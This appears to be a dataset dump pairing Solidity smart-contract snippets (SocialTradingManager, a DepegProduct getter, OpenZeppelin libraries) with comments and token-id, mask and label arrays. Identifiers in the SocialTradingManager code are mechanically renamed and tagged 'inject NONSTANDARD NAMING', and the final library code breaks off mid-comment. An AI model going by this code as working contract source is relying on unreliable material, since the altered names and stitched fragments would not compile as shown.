VALIDATEALLOCATIONAMOUNT616(_startingBaseAssetAllocation);
VALIDATEMANAGERADDRESS45(_rebalancingSetCallData);
require(
whiteList[address(_tradingPairAllocator)],
"SocialTradingManager.validateCreateTradingPool: Passed allocator is not valid."
);
}
function VALIDATEALLOCATIONUPDATE492( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newAllocation
)
internal
view
{
VALIDATEALLOCATIONAMOUNT616(_newAllocation);
// If current allocation is 0/100%, cannot be the same allocation
uint256 currentAllocationValue = CURRENTALLOCATION387(_tradingPool);
require(
!(currentAllocationValue == maximum_allocation339 && _newAllocation == maximum_allocation339) &&
!(currentAllocationValue == 0 && _newAllocation == 0),
"SocialTradingManager.validateAllocationUpdate: Invalid allocation"
);
// Require that enough time has passed from last rebalance
uint256 lastRebalanceTimestamp = _tradingPool.LASTREBALANCETIMESTAMP491();
uint256 rebalanceInterval = _tradingPool.REBALANCEINTERVAL619();
require(
block.timestamp >= lastRebalanceTimestamp.ADD949(rebalanceInterval),
"SocialTradingManager.validateAllocationUpdate: Rebalance interval not elapsed"
);
// Require that Rebalancing Set Token is in Default state, won't allow for re-proposals
// because malicious actor could prevent token from ever rebalancing
require(
_tradingPool.REBALANCESTATE812() == RebalancingLibrary.State.Default,
"SocialTradingManager.validateAllocationUpdate: State must be in Default"
);
}
function VALIDATEALLOCATIONAMOUNT616( //inject NONSTANDARD NAMING
uint256 _allocation
)
internal
view
{
require(
_allocation <= maximum_allocation339,
"Passed allocation must not exceed 100%."
);
require(
_allocation.MOD276(one_percent337) == 0,
"Passed allocation must be multiple of 1%."
);
}
function VALIDATENEWENTRYFEE141( //inject NONSTANDARD NAMING
uint256 _entryFee
)
internal
view
{
require(
_entryFee <= maxEntryFee,
"SocialTradingManager.validateNewEntryFee: Passed entry fee must not exceed maxEntryFee."
);
}
function VALIDATEMANAGERADDRESS45( //inject NONSTANDARD NAMING
bytes memory _rebalancingSetCallData
)
internal
view
{
address manager;
assembly {
manager := mload(add(_rebalancingSetCallData, 32)) // manager slot
}
require(
manager == address(this),
"SocialTradingManager.validateCallDataArgs: Passed manager address is not this address."
);
}
function ALLOCATOR261(IRebalancingSetTokenV2 _tradingPool) internal view returns (ISocialAllocator) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].allocator;
}
function TRADER685(IRebalancingSetTokenV2 _tradingPool) internal view returns (address) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].trader;
}
function CURRENTALLOCATION387(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].currentAllocation;
}
function FEEUPDATETIMESTAMP466(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].feeUpdateTimestamp;
}
function NEWENTRYFEE285(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].newEntryFee;
}
}
// File: contracts/managers/SocialTradingManagerV2.sol
pragma solidity 0.5.7;
pragma experimental "ABIEncoderV2";
contract SocialTradingManagerV2 is
SocialTradingManager,
LimitOneUpgrade
{
constructor(
ICore _core,
address _factory,
address[] memory _whiteListedAllocators,
uint256 _maxEntryFee,
uint256 _feeUpdateTimelock
)
public
SocialTradingManager(
_core,
_factory,
_whiteListedAllocators,
_maxEntryFee,
_feeUpdateTimelock
)
{}
function ADJUSTFEE487( //inject NONSTANDARD NAMING
address _tradingPool,
bytes calldata _newFeeCallData
)
external
ONLYTRADER541(IRebalancingSetTokenV2(_tradingPool))
LIMITONEUPGRADE170(_tradingPool)
TIMELOCKUPGRADE701
{
IRebalancingSetTokenV3(_tradingPool).ADJUSTFEE487(_newFeeCallData);
}
function REMOVEREGISTEREDUPGRADE402( //inject NONSTANDARD NAMING
address _tradingPool,
bytes32 _upgradeHash
)
external
ONLYTRADER541(IRebalancingSetTokenV2(_tradingPool))
{
LimitOneUpgrade.REMOVEREGISTEREDUPGRADEINTERNAL162(_tradingPool, _upgradeHash);
}
}
|
If feeUpdateTimestamp is equal to 0 indicates initiate wasn't called Current block timestamp must exceed feeUpdateTimestamp Reset timestamp to avoid reentrancy Update fee on RebalancingSetTokenV2 Reset newEntryFee
|
{
require(
FEEUPDATETIMESTAMP466(_tradingPool) != 0,
"SocialTradingManager.finalizeSetFeeRecipient: Must initiate fee change first."
);
require(
block.timestamp >= FEEUPDATETIMESTAMP466(_tradingPool),
"SocialTradingManager.finalizeSetFeeRecipient: Time lock period must elapse to update fees."
);
pools[address(_tradingPool)].feeUpdateTimestamp = 0;
_tradingPool.SETENTRYFEE61(NEWENTRYFEE285(_tradingPool));
pools[address(_tradingPool)].newEntryFee = 0;
}
| 2,478,024 |
[
1,
2047,
14036,
1891,
4921,
353,
3959,
358,
374,
8527,
18711,
14487,
1404,
2566,
6562,
1203,
2858,
1297,
9943,
14036,
1891,
4921,
7151,
2858,
358,
4543,
283,
8230,
12514,
2315,
14036,
603,
868,
28867,
694,
1345,
58,
22,
7151,
24086,
14667,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
288,
203,
3639,
2583,
12,
203,
5411,
478,
9383,
3079,
22968,
12192,
24,
6028,
24899,
313,
14968,
2864,
13,
480,
374,
16,
203,
5411,
315,
28795,
1609,
7459,
1318,
18,
30343,
694,
14667,
18241,
30,
6753,
18711,
14036,
2549,
1122,
1199,
203,
3639,
11272,
203,
203,
3639,
2583,
12,
203,
5411,
1203,
18,
5508,
1545,
478,
9383,
3079,
22968,
12192,
24,
6028,
24899,
313,
14968,
2864,
3631,
203,
5411,
315,
28795,
1609,
7459,
1318,
18,
30343,
694,
14667,
18241,
30,
2647,
2176,
3879,
1297,
415,
28933,
358,
1089,
1656,
281,
1199,
203,
3639,
11272,
203,
203,
3639,
16000,
63,
2867,
24899,
313,
14968,
2864,
13,
8009,
21386,
1891,
4921,
273,
374,
31,
203,
203,
3639,
389,
313,
14968,
2864,
18,
4043,
19083,
8090,
41,
9498,
12,
12917,
19083,
8090,
41,
6030,
25,
24899,
313,
14968,
2864,
10019,
203,
203,
3639,
16000,
63,
2867,
24899,
313,
14968,
2864,
13,
8009,
2704,
1622,
14667,
273,
374,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x8281f2bECfF37326Eb6cBE33527434611558B031/sources/DepegProduct.sol
|
by circumventing prduct contract and directly updating usdc feed contract
|
function isNewPriceInfoEventAvailable()
external
view
returns(
bool newEvent,
IPriceDataProvider.PriceInfo memory priceInfo,
uint256 timeSinceEvent
)
{
return _priceDataProvider.isNewPriceInfoEventAvailable();
}
| 4,153,919 |
[
1,
1637,
29951,
616,
310,
846,
1828,
6835,
471,
5122,
9702,
584,
7201,
4746,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10783,
5147,
966,
1133,
5268,
1435,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
12,
203,
5411,
1426,
394,
1133,
16,
203,
5411,
2971,
3057,
20757,
18,
5147,
966,
3778,
6205,
966,
16,
203,
5411,
2254,
5034,
813,
9673,
1133,
203,
3639,
262,
203,
565,
288,
203,
3639,
327,
389,
8694,
20757,
18,
291,
1908,
5147,
966,
1133,
5268,
5621,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-04
*/
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
